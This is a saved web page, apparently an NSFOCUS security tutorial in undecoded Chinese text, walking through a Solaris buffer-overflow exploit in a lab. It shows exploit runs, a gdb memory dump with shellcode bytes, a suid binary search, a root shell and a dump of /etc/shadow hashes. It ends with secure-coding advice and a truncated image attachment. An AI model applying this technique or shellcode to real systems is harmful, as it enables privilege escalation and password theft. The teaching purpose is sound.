=D4=BD=B4=F3=D4=BD=C8=DD=D2=D7=BD=D3=D7=A1=C8=CB=A3=AC=CB=F9=D2=D4=CE=D2=D5= =E2=C0=EF=B0=B2=C5=C5=C1=CB=B6=E0=B4=EF100=BA=C5=BB=FA=B9=D8=B8=C9=B2=BF=D7= =F6=D5=E2=B8=F6=B4=F3=CD=F8=B5=C8=D7=C5=A1=A3=B8=D5=B2=C5=CB=B5=C1=CB=A3=AC= =CE=D2=C3=C7=BB=E1=C8=C3=D0=DE=B8=C4=BA=F3=B5=C4RetAddr=D6=B8=CF=F2=D5=E2= =B8=F6=B0=B2=C8=AB=CD=F8=A3=AC=CB=F9=D2=D4=B5=B1Foo=BD=E1=CA=F8=D4=CB=D0=D0= =B7=B5=BB=D8=CA=B1=A3=AC=B3=CC=D0=F2=D1=D8=D7=C5=D0=DE=B8=C4=BA=F3=B5=C4R= etAddr=CC=F8=B5=BD=CD=F8=D6=D0=C0=B4=C1=CB=A1=A3
5.  
=BD= =F4=B8=FA=D4=DA=B8=C9=B2=BFx90=BA=F3=C3=E6=B5=C4=CA=C7=BA=DA=BF=CD=C2=EB=A3= =AC=D5=E2=B6=CE=BA=DA=BF=CD=C2=EB=D2=BB=B5=A9=D6=B4=D0=D0=C6=F0=C0=B4=A3=AC= =BE=CD=BB=E1=B2=FA=C9=FA=D2=BB=B8=F6ksh=20 = shell=A1=A3
6.  
=D4=DA=BA=DA=BF=CD=C2=EB=BA=F3=C3=E6=B5=C4= 0x00=BD=E1=CA=F8=D5=FB=B8=F6=B3=A4=D7=D6=B7=FB=B4=AE=A1=A3
7. &nb= sp;
=B2=EE=B5=E3=CD=FC=C1=CB=A3=A1=D5=E2=B6=CE=BA=DA=BF=CD=C2=EB=CA=C7= =B4=D3www.lsd-pl.net=CF=C2=D4=D8=B5=C4=A3=AC=CE=D2=C3=C7=BA=F3=C3=E6=BB=B9= =D2=AA=D3=C3=B5=BD=D5=E2=B8=F6=CD=F8=D5=BE=C9=CF=B5=C4=BA=DA=BF=CD=C2=EB=A1= =A3=CB=FB=C3=C7=B5=C4=C2=EB=B6=CC=D0=A1=BE=AB=BA=B7=A3=AC=B1=C8=CE=D2=D7=D4= =BC=BA=D0=B4=B5=C4=BA=C3=B6=E0=C1=CB=A3=A1


=BA=C3=C1=CB=A3=AC=CE= =D2=C3=C7=C0=B4=D5=E6=C7=B9=CA=B5=B5=AF=D1=DD=CF=B0=D2=BB=CF=C2expl=B5=C4= =CD=FE=C1=A6=A1=A3=CF=C8=D3=C3-16=D7=F7=CE=AAadjustment=A3=BA

shan= ghai=20 =3D>expl -16
esp=3D0x08047bf8, = adjustment=3D0xfffffff0, jump to=20 0x08047be8!
The input String is=20 = ??            = ;          =20 = ??            = ;            =   ??          = ;            =       =20 = ??            = ;            =         ??xWP???G??  &n= bsp;           &nb= sp;           &nbs= p;       =20 = ?            = ????/bin/ksh
Segmentation=20 Fault(coredump)
shanghai=20 = =3D>

=D5=E2=C0=EF=B8=F9=BE=DD=BA=EA=B9=DB=B5=F7=BF=D8=B9=C0=CB=E3= =B5=C4=B6=D1=D5=BB=CE=BB=D6=C3=CA=C70x08047bf8=A3=AC=D4=D9=BC=D3=C9=CF-16= =B8=F6=D7=D6=BD=DA=C0=B4=CE=A2=B5=F7=A3=AC=CB=F9=D2=D4=B8=B2=B8=C7Foo=B7=B5= =BB=D8=B5=D8=D6=B7=B5=C4=D3=A6=B8=C3=CA=C7=A3=BA0x08047bf8-0x10=3D0x08047= be8=A1=A3=B5=AB=CA=C7vul=D4=CB=D0=D0=D3=D0=B6=CE=B4=ED=CE=F3=A1=A3=C8=C3=CE= =D2=C3=C7=D3=C3GDB=C0=B4=B7=D6=CE=F6=D2=BB=CF=C2=B4=ED=D4=DA=C4=C4=B6=F9=A1= =A3

shanghai=20 =3D>
shanghai =3D>gdb vul core
GNU gdb = 5.2
Copyright 2002=20 Free Software Foundation, Inc.
GDB is free software, = covered by=20 the GNU General Public License, and
you are
welcome = to change=20 it and/or distribute copies of it under certain=20
conditions.
Type "show copying" to see the=20 conditions.
There is absolutely no warranty for=20 GDB.  Type "show warranty" for =
details.
This GDB=20 was configured as "i386-pc-solaris2.8"...
Core was = generated by=20 `vul=20 = ??            = ;            =       ??      = ;            =             &= nbsp; =20 = ??            = ;            =             ?= ?
           &n= bsp;           &nb= sp;           &nbs= p;  =20 = ??            = ;            =             &= nbsp;     ?ogram=20 terminated with
signal 11, Segmentation = fault.
Reading=20 symbols from /usr/lib/libc.so.1...done.
Loaded symbols = for=20 /usr/lib/libc.so.1
Reading symbols from=20 /usr/lib/libdl.so.1...done.
Loaded symbols for=20 /usr/lib/libdl.so.1
#0  0x08047be8 in ??=20 = ()
/*
=CF=C8=BF=B4=D2=BB=CF=C2=BC=C4=B4=E6=C6=F7=B5=C4=C4=DA=C8=DD=A3= =BA
*/
(gdb) i=20 = reg
eax          &nb= sp; 0xba    =20 = 186
ecx          &nb= sp; 0x0      0
edx   = ;         0xe109be00 &n= bsp;    =20 = -519455232
ebx         &n= bsp;  0xdfbfb000      =20 = -541085696
esp         &n= bsp;  0x8047b70        = 0x8047b70
ebp         &nb= sp;  0xbbbbbbb        0= xbbbbbbb
esi         &nbs= p;  0x8047b6c        13= 4511468
edi          = ;  0x8047c30        134= 511664
eip          =   0x8047be8        0x80= 47be8
eflags        =20 = 0x10206  66054
cs       &= nbsp;    =20 0x17    =20 = 23
ss           = ; =20 0x1f    =20 = 31
ds           = ; =20 0x1f    =20 = 31
es           = ; =20 0x1f    =20 = 31
fs           = ; =20 = 0x0      0
gs    &nb= sp;       =20 = 0x0      0
fctrl    =       0x137f  =20 = 4991
fstat          = 0x0      0
ftag    &= nbsp;     =20 0xffff  =20 = 65535
fiseg          = ;0x0      0
fioff    = ;      0x0     &nb= sp;0
foseg          = 0x0      0
fooff    =       0x0     &nbs= p;0
---Type=20 <return> to continue, or q <return> to=20 = quit---q
Quit
/*
=D3=C9=C9=CF=C3=E6=BC=C4=B4=E6=C6=F7=C4=DA=C8=DD= =BF=C9=D2=D4=BF=B4=BC=FB=A3=AC=BE=CD=D4=DA=B6=CE=B3=F6=B4=ED=B5=C4=C4=C7=D2= =BB=C9=B2=C4=C7=BC=E4=A3=AC=B3=CC=D0=F2=D6=B4=D0=D0=D6=B8=D5=EBEIP=D6=B8=CF= =F2=B5=C4=D5=FD=CA=C7=D0=C2=B5=C4RetAddr----0x8047be8=A3=AC=B3=CC=D0=F2=D4= =DA=C6=F3=CD=BC=D6=B4=D0=D0=D5=E2=B8=F6=B5=D8=D6=B7=B5=C4=D6=B8=C1=EE=CA=B1= =B3=F6=C1=CB=B4=ED=A1=A3=C4=C7=C3=B4=CE=D2=C3=C7=B5=C4=BA=DA=BF=CD=C2=EB=D4= =DA=BA=CE=B4=A6=C4=D8=A3=BF=CB=FC=D3=A6=B8=C3=D4=DA=B5=D8=D6=B70x8047be8=B8= =BD=BD=FC=B2=BB=D4=B6=B4=A6=A3=BA
*/
(gdb)=20 x/20x=20 = $eip-0x40
0x8047ba8:      0x90909090&nbs= p;     0x90909090     &= nbsp;0x90909090      0x90909090
0x8047bb= 8:      0x90909090    &= nbsp; 0x90909090      0x90909090 =      0x90909090
0x8047bc8:   &= nbsp;  0x90909090      0x90909090=       0x90909090    &nb= sp; 0xd2331aeb
0x8047bd8:      0x14= 788d58      0x92ab5057   &nb= sp;  0x084288ab      0xb03bef830x8047be8:      0xb047ab9a  &nb= sp;   0x0bb0ab07      0xffff= e1e8      0x69622fff
(gdb)=20 x/20x=20 = $eip-0x20
0x8047bc8:      0x90909090&nbs= p;     0x90909090     &= nbsp;0x90909090      0xd2331aeb
0x8047bd= 8:      0x14788d58    &= nbsp; 0x92ab5057      0x084288ab =      0xb03bef83
0x8047be8:   &= nbsp;  0xb047ab9a      0x0bb0ab07=       0xffffe1e8    &nb= sp; 0x69622fff
0x8047bf8:      0x73= 6b2f6e      0x08040068   &nb= sp;  0x08047ef9      0x08047f130x8047c08:      0x08047f22  &nb= sp;   0x08047f3d      0x0804= 7f55      0x08047f70
(=CF=C2=C2=D4=A1=A3= =A1=A3=A1=A3)


=CD=DB=C8=FB=A3=AC=D4=DA=BE=E0=C0=EB=D0=C2=B5=C4= RetAddr=D4=BC0x40=D7=D6=BD=DA=B5=C4=B5=D8=B7=BD=A3=AC=BE=CD=BF=C9=D2=D4=BF= =B4=BC=FB=CE=D2=C3=C7=B5=C4=B8=C9=B2=BF0x90909090=D5=FB=D5=FB=C6=EB=C6=EB= =B5=D8=C5=C5=C1=D0=D7=C5=A1=A3=CA=B5=BC=CA=C9=CF=A3=AC=CE=D2=C3=C7=B5=C4=B0= =B2=C8=AB=CD=F8=D4=DA0x8047b6c=B5=BD0x8047bd0=D6=AE=BC=E4=D5=C5=BF=AA=A3=AC= =B6=F8=D0=C2=B5=C4RetAddr=B5=D8=D6=B70x8047be8=C8=B4=D6=B8=D4=DA=CD=F8=CD= =E2=C3=E6=A1=A3=B9=D6=B2=BB=B5=C3=D7=D3=B3=CC=D0=F2=B7=B5=BB=D8=CA=B1=D1=D8= =D7=C50x8047be8=CC=F8=B5=BD=C1=CB=B0=B2=C8=AB=CD=F8=CD=E2=C3=E6=A3=AC=D4=EC= =B3=C9coredump=A1=A3

=BF=B4=C0=B4=CE=D2=C3=C7=D0=E8=D2=AA=B6=D4Ret= Addr=D7=F7=BD=F8=D2=BB=B2=BD=CE=A2=B9=DB=B5=F7=BF=D8=A3=BA=B8=F8=CB=FC-64= (=BC=B40x40)=D7=D6=BD=DA=A3=AC=CB=FC=BE=CD=BB=E1=D6=B8=CF=F2=B0=B2=C8=AB=CD= =F8=D6=D0=A3=BA

shanghai=20 =3D>expl -64
esp=3D0x08047bf8, = adjustment=3D0xffffffc0, jump to=20 0x08047bb8!
The input String is=20 = ??            = ;          =20 = ??            = ;            =   ??          = ;            =       =20 = ??            = ;            =         ??xWP???G??  &n= bsp;           &nb= sp;           &nbs= p;       =20 = ?            = ????/bin/ksh
$=20
$
$ pwd
/export/home/moda/buf_of
$ ls = -l
total=20 48
-rwxr-xr-x   1 moda=20 other      10524 = May  3=20 18:05    expl
-rw-r--r--   = 1 moda=20 other       1816 = May  3=20 = 18:05    expl.c
-rwxr-xr-x   1 moda=20 other       9416 = May  8=20 14:18    vul
-rw-r--r--   1 = moda=20 other        250=20 May  2=20 = 15:36    vul.c
$
$
$

Yeah=A3=A1=A3=A1= =D6=D0=C1=CB=A3=A1=A3=A1=A3=A1=D6=D0=BE=D9=C8=CB=C1=CB=A3=A1=A3=A1=A3=A1=A3= =A1=BA=DA=BF=CD=C2=EB=B3=C9=B9=A6=D6=B4=D0=D0=A3=AC=B2=FA=C9=FA=D2=BB=B8=F6= ksh=20 Shell=A3=AC=CE=D2=C3=C7=B5=C4prompt=D2=B2=D3=C9"shanghai = =3D>"=B1=E4=B3=C9=C1=CBksh=20 = Shell=B5=C4"$"=B7=FB=BA=C5=A1=A3

=C7=D2=C2=FD=B8=DF=D0=CB=A3=A1=B8= =EF=C3=FC=C9=D0=CE=B4=CD=EA=C8=AB=B3=C9=B9=A6=A3=AC=BA=DA=BF=CD=C3=C7=BB=B9= =D3=D0=C5=AC=C1=A6=A1=A3=C7=EB=D7=A2=D2=E2=C9=CF=C3=E6=D3=C3"ls=20 = -l"=C3=FC=C1=EE=CF=D4=CA=BE=B3=F6vul=BD=F6=CA=F4=D3=DA=C6=D5=CD=A8=D3=C3=BB= =A7=A3=AC=C6=E4=C8=A8=CF=DE=D6=BB=D3=D0=D2=BB=B5=E3=B5=E3=A3=AC=D4=DA=CB=FC= =B5=C4=D4=CB=D0=D0=BB=B7=BE=B3=CF=C2=B2=FA=C9=FA=B5=C4ksh=20 = Shell=D2=B2=BE=CD=B1=BB=CF=DE=D6=C6=B5=C3=D6=BB=D3=D0=D2=BB=B5=E3=B5=E3=C8= =A8=CF=DE=A1=A3=D3=D0=BA=DC=B6=E0=CA=C2=C7=E9=A3=AC=CF=F3=BC=D3=D2=BB=B8=F6= =D3=C3=BB=A7=D5=CB=BA=C5=A3=AC=BC=F5=C1=BD=B8=F6=D3=C3=BB=A7=D5=CB=BA=C5=B6= =BC=CA=C7=C3=BB=B7=A8=D7=F7=B5=C4=A1=A3=D5=E2=B6=D4=D3=DA=D7=B7=C7=F3=D7=D4= =D3=C9=B5=C4=BA=DA=BF=CD=C3=C7=C0=B4=CB=B5=A3=AC=CA=C7=CD=F2=CD=F2=B2=BB=C4= =DC=BD=D3=CA=DC=B5=C4=A3=A1=A3=A1

=C4=C7=C3=B4=C8=E7=BA=CE=CC=E1=C9= =FD=C8=A8=CF=DE=C4=D8=A3=BF=D4=DAUNIX=D6=D0=A3=AC=BA=DC=B6=E0=BF=C9=D6=B4= =D0=D0=CE=C4=BC=FE=D3=D0=D2=BB=D6=D6=CC=D8=B1=F0=B5=C4=C8=A8=CF=DE=C9=E8=D6= =C3=BD=D0suid=A3=AC=CB=FC=C3=C7=B5=C4=C8=A8=CF=DE=CA=F4=D0=D4=C0=E0=CB=C6= =D3=DA"-rwsr-xr-x"=A3=AC=C0=EF=C3=E6=D3=D0=B8=F6"s"=A1=A3=D5=E2=D6=D6=C8=A8= =CF=DE=B1=ED=CF=D6=CE=AA=A3=BA=CE=C4=BC=FE=B5=C4=CB=F9=D3=D0=D5=DF=CE=AA=D3= =C3=BB=A7A=A3=AC=B5=B1=D3=C3=BB=A7B=D6=B4=D0=D0=D5=E2=B8=F6=CE=C4=BC=FE=CA= =B1=A3=AC=CB=FC=B5=C4=BD=F8=B3=CC=D4=DA=D4=CB=D0=D0=B9=FD=B3=CC=D6=D0=C8=D4= =C8=BB=BE=DF=D3=D0=CB=F9=D3=D0=D5=DFA=B5=C4=C8=A8=CF=DE=A3=AC=B6=F8=B2=BB= =CA=C7=B5=B1=C7=B0=CA=B9=D3=C3=D5=DFB=B5=C4=C8=A8=CF=DE=A1=A3=CE=D2=D5=E2= =C0=EF=C2=DE=C1=A8=C2=DE=E0=C2=C1=CB=B0=EB=CC=EC=C4=E3=D2=B2=D0=ED=BB=B9=B2= =BB=C7=E5=B3=FE=A3=AC=BE=D9=B8=F6=C0=FD=D7=D3=A3=BA=D4=DAUNIX=CF=B5=CD=B3= =D6=D0=B5=C4=A3=AC=C6=D5=CD=A8=D3=C3=BB=A7=C8=E7=C4=E3=CE=D2=CB=FB=CB=FD=B5= =C8=CD=A8=B9=FD=C3=FC=C1=EEpasswd=C0=B4=B8=C4=B1=E4=C3=DC=C2=EB=A3=AC=D5=E2= =B8=F6passwd=B5=C4=D6=B4=D0=D0=CE=C4=BC=FE=BE=CD=C9=E8=D3=D0suid=C8=A8=CF= =DE=A1=A3=D3=C9=D3=DA=CB=FC=B5=C4=CB=F9=D3=D0=D5=DF=CE=AA=B3=AC=BC=B6=D3=C3= =BB=A7root=A3=AC=D5=E2=D1=F9=CB=FC=D4=DA=D4=CB=D0=D0=CA=B1=BE=CD=BE=DF=D3= =D0root=B5=C4=C8=A8=CF=DE=A3=AC=CB=F9=D2=D4=CB=FC=B2=C5=BF=C9=D2=D4=D0=DE= =B8=C4/etc/passwd=BA=CD/etc/shadow=B5=C4=CE=C4=BC=FE=C4=DA=C8=DD=A3=AC=B0= =EF=C4=E3=B8=C4=B1=E4=C3=DC=C2=EB=A1=A3=BC=D9=C8=E7=CB=FC=C3=BB=D3=D0=C9=E8= =D6=C3suid=C8=A8=CF=DE=A3=AC=CB=FC=BB=E1=D2=D4=C6=D5=CD=A8=D3=C3=BB=A7=B5= =C4=C8=A8=CF=DE=D4=CB=D0=D0=A3=AC=D4=DA=D0=DE=B8=C4/etc/passwd=BA=CD/etc/= shadow=CA=B1=BD=AB=B5=C3=B5=BD"permission=20 = denied"=B5=C4=B4=ED=CE=F3=D0=C5=CF=A2=A1=A3

=BF=C9=D2=D4=D3=C3find= =C0=B4=B2=E9=D2=BB=CF=C2=C4=C4=D0=A9=CE=C4=BC=FE=BE=DF=D3=D0suid=C8=A8=CF= =DE=A3=BA

shanghai=20 =3D>
shanghai =3D>su
Password:
#
# cd = /
# find .=20 -type f -perm -4000=20 = 2>/dev/null
./export/home/moda/buf_of/vul.rt
./usr/lib/lp/bin/ne= tpr
./usr/lib/fs/ufs/quota
./usr/lib/fs/ufs/ufsdump
./usr/lib/fs= /ufs/ufsrestore
./usr/lib/pt_chmod
./usr/lib/utmp_update
./usr/l= ib/sendmail
./usr/lib/acct/accton
./usr/lib/uucp/remote.unknown
= ./usr/lib/uucp/uucico
./usr/lib/uucp/uusched
./usr/lib/uucp/uuxqt./usr/bin/i86/ps
./usr/bin/i86/uptime
./usr/bin/i86/w
./usr/bi= n/at
./usr/bin/atq
./usr/bin/atrm
./usr/bin/crontab
./usr/bin= /eject
./usr/bin/fdformat
./usr/bin/login
./usr/bin/newgrp
./= usr/bin/passwd
./usr/bin/pfexec
./usr/bin/rcp
./usr/bin/rdist(=D2=D4=CF=C2=C2=D4=A1=A3=A1=A3=A1=A3)=20
#=20 =

=BB=B9=BA=DC=B2=BB=C9=D9=C4=D8=A3=A1=C8=E7=B9=FB=CE=D2=C3=C7=C4=DC= =D4=DA=C6=E4=D6=D0=D5=D2=B5=BD=D2=BB=B8=F6=D6=B4=D0=D0=B3=CC=D0=F2=D3=D0=BB= =BA=B3=E5=C7=F8=D2=E7=B3=F6=B5=C4=C3=AB=B2=A1----=CF=F3vul=C4=C7=D1=F9=A3= =AC=CE=D2=C3=C7=BE=CD=BF=C9=D2=D4=D3=C3=C9=CF=C3=E6expl=B5=C4=B7=BD=B7=A8= =C5=DD=D6=C6=D2=BB=B8=F6=B3=A4=B5=C4=D7=D6=B7=FB=B4=AE=C8=A5=B9=A5=BB=F7=CB= =FC=A3=AC=C8=C3=CB=FC=D2=E7=B3=F6=BA=F3=B2=FA=C9=FA=D2=BB=B8=F6shell=A1=A3= =D5=E2=CA=B1=D3=C9=D3=DA=D6=B4=D0=D0=B3=CC=D0=F2=C9=E8=D3=D0suid=C8=A8=CF= =DE=A3=AC=CB=FC=CA=C7=D2=D4=B3=AC=BC=B6=D3=C3=BB=A7=B5=C4=C8=A8=CF=DE=D4=CB= =D0=D0=A3=AC=CB=F9=D2=D4=CD=D1=CC=A5=D3=DA=CB=FC=B5=C4shell=D2=B2=BE=CD=BC= =CC=B3=D0=C1=CB=B3=AC=BC=B6=D3=C3=BB=A7=B5=C4=C8=A8=CF=DE=A1=A3

=BF= =B4=CF=C2=C3=E6=B5=C4=C0=FD=D7=D3=A3=AC=CD=AC=D1=F9=B5=C4=D6=B4=D0=D0=B3=CC= =D0=F2vul=A3=AC=B5=AB=B8=F8=CB=FC=B3=AC=BC=B6=D3=C3=BB=A7root=B5=C4suid=C8= =A8=CF=DE=A1=A3

shanghai=20 =3D>su
Password:
# ls -l
total=20 48
-rwxr-xr-x   1 moda=20 other      10524 = May  3=20 = 18:05        expl
-rw-r--r--&n= bsp; =20 1 moda other       1816=20 May  3=20 = 18:05        expl.c
-rwxr-xr-x=   =20 1 moda other       9416=20 May  8=20 = 14:18        vul
-rw-r--r--&nb= sp; =20 1 moda = other        250=20 May  2=20 = 15:36        vul.c
#=20 chown root vul
# chmod u+s vul
# ls -l
total=20 48
-rwxr-xr-x   1 moda=20 other      10524 = May  3=20 = 18:05        expl
-rw-r--r--&n= bsp; =20 1 moda other       1816=20 May  3=20 = 18:05        expl.c
-rwsr-xr-x=   =20 1 root    =20 other       9416 = May  8=20 = 14:18        vul
-rw-r--r--&nb= sp; =20 1 moda = other        250=20 May  2=20 = 15:36        vul.c
#=20 = exit
/*
=D4=DA=BD=F8=D0=D0exploit=D6=AE=C7=B0=A3=AC=CE=D2=D6=BB=CA=C7= moda----=D2=BB=D6=BB=B7=C9=D2=B2=B7=C9=B2=BB=B8=DF=B5=C4=D0=A1=D0=A1=C4=F1= =B6=F8=D2=D1=A3=AC=CF=EB=D2=AA=CD=B5=BF=B4/etc/shadow=20 = =B5=C4=C4=DA=C8=DD=A3=AC=C8=B4=B3=D4=C1=CB=B8=F6=B1=D5=C3=C5=B8=FE=A1=A3<= BR>*/
shanghai =3D>whoami
moda
shanghai=20 =3D>id
uid=3D1001(moda) gid=3D1(other)
shanghai = =3D>more=20 /etc/shadow
/etc/shadow: Permission=20 = denied
/*
=CF=D6=D4=DA=D3=C3=CD=AC=D1=F9=B5=C4expl=C8=A5=B9=A5=BB=F7= vul=A3=BA
*/
shanghai =3D>expl=20 -64
esp=3D0x08047bf8, adjustment=3D0xffffffc0, jump to=20 0x08047bb8!
The input String is=20 = =A1=F5
          &nb= sp;           =20 = =A1=F5
          &nb= sp;           &nbs= p;   =A1=F5
       &= nbsp;           &n= bsp;        =20 = =A1=F5
          &nb= sp;           &nbs= p;         =A1=F5
 &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p;        =20 =A1=F5=A1=F5=A1=F5bin/ksh
# =
/*
=BF=B4=BF=B4=CE=D2=D5=E2=CF=C2=CA=C7=CB=AD=A3=BF
*/
#=20 /usr/ucb/whoami
root
# id
uid=3D1001(moda) = gid=3D1(other)=20 = euid=3D0(root)
/*
=CE=D2=CF=D6=D4=DA=CA=C7=B3=AC=BC=B6=D3=C3=BB=A7r= oot=A3=A1=A3=A1=B3=D6=D3=D0root=B5=C4=D3=D0=D0=A7ID(EUID)=A1=A3=D4=D9=D2=B2= =B2=BB=CA=C7=C4=C7=D6=BB=B7=C9=D2=B2=B7=C9=B2=BB=B8=DF=B5=C4=D0=A1=D0=A1=C2= =E9=C8=B8=C4=F1=A3=AC=B6=F8=CA=C7"=CC=EC=B8=DF=C8=CE=C4=F1=B7=C9"=D6=D0=B5= =C4=C4=C7=D6=BBEagle=C4=F1=A3=AC"=BA=A3=C0=AB=C8=CE=D3=E3=D3=CE"=D6=D0=B5= =C4=C4=C7=CC=F5Shark=D3=E3=A3=A1=A3=A1

=CE=D2=CF=EB=D2=AA=BF=B4/et= c/shadow=A3=AC=CF=B5=CD=B3=BE=CD=B5=C3=B8=F8=CE=D2=BF=B4=A3=BA
*/
#= =20 more=20 = /etc/shadow
root:nzlCZP092M48U:6445::::::
daemon:NP:6445::::::
b= in:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445:= :::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::<= BR>nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445:::::= :
moda:V7AGLwGPe6dm2:::::::

=CE=D2=BB=B9=BF=C9=D2=D4=BC=D3=BC=F5= =D3=C3=BB=A7=D5=CB=BA=C5=A3=AC=BB=B9=BF=C9=D2=D4=CF=F3=CD=F8=B9=DC=C4=C7=D1= =F9=CC=DF=B1=F0=C8=CB=C6=A8=B9=C9=A1=A3=A1=A3=A1=A3=CD=DB=A3=AC=BA=C3=D7=D4= =D3=C9=BA=C3Happy=A3=A1=A3=A1

#=20 exit
shanghai=20 = =3D>

=BD=E1=CE=B2=B5=C4=BB=B0=A3=BA

=BA=C3=C1=CB=A3=AC=CE= =D2=C3=C7=B5=C4=B5=DA=D2=BB=D5=C2=D2=B2=BF=EC=D2=AA=BD=E1=CA=F8=C1=CB=A1=A3= =D7=EE=BA=F3=B8=F8=B3=CC=D0=F2=D4=B1=D2=BB=B8=F6=D6=D2=B8=E6=A3=AC=B1=E0=B3= =CC=CA=B1=B1=DC=C3=E2=D3=C3=B2=BB=B0=B2=C8=AB=B5=C4=BA=AF=CA=FD=CF=F3=A3=BA= strcpy=A1=A2strcat=A1=A2scanf=A1=A2gets=A1=A2getc=B5=C8=B5=C8=A3=AC=20 = =D2=F2=CE=AA=CB=FC=C3=C7=B6=BC=B2=BB=BC=EC=B2=E9=CA=E4=C8=EB=B2=CE=CA=FD=B5= =C4=B4=F3=D0=A1=A3=AC=B2=BB=BC=EC=B2=E9=BB=BA=B3=E5=C7=F8=B1=DF=BD=E7=CA=C7= =B7=F1=D2=E7=B3=F6=A1=A3=D3=A6=B8=C3=D3=C3=CB=FC=C3=C7=B5=C4=D0=D6=B5=DC=BA= =AF=CA=FD=CF=F3strncpy=A1=A2strncat=B5=C8=B5=C8=C0=B4=B7=C0=D6=B9=BB=BA=B3= =E5=C7=F8=D2=E7=B3=F6=A1=A3
=B0=E6=C8=A8=CB=F9=D3=D0=A3=AC=CE=B4=BE=AD=D0=ED=BF=C9=A3=AC= =B2=BB=B5=C3=D7=AA=D4=D8
 
=D6=D0=C1=AA=C2=CC=C3=CB=D0=C5=CF=A2=BC=BC=CA=F5=A3=A8=B1=B1= =BE=A9=A3=A9=D3=D0=CF=DE=B9=AB=CB=BE=B0=E6=C8=A8=CB=F9=D3=D0 = =C1=AA=CF=B5:webadmin@nsfocus.com
©1999-2003 NSFOCUS = Corporation. All=20 rights Reserved.
------=_NextPart_000_00D0_01C387B7.DD02A990 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/images/js_01.gif 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 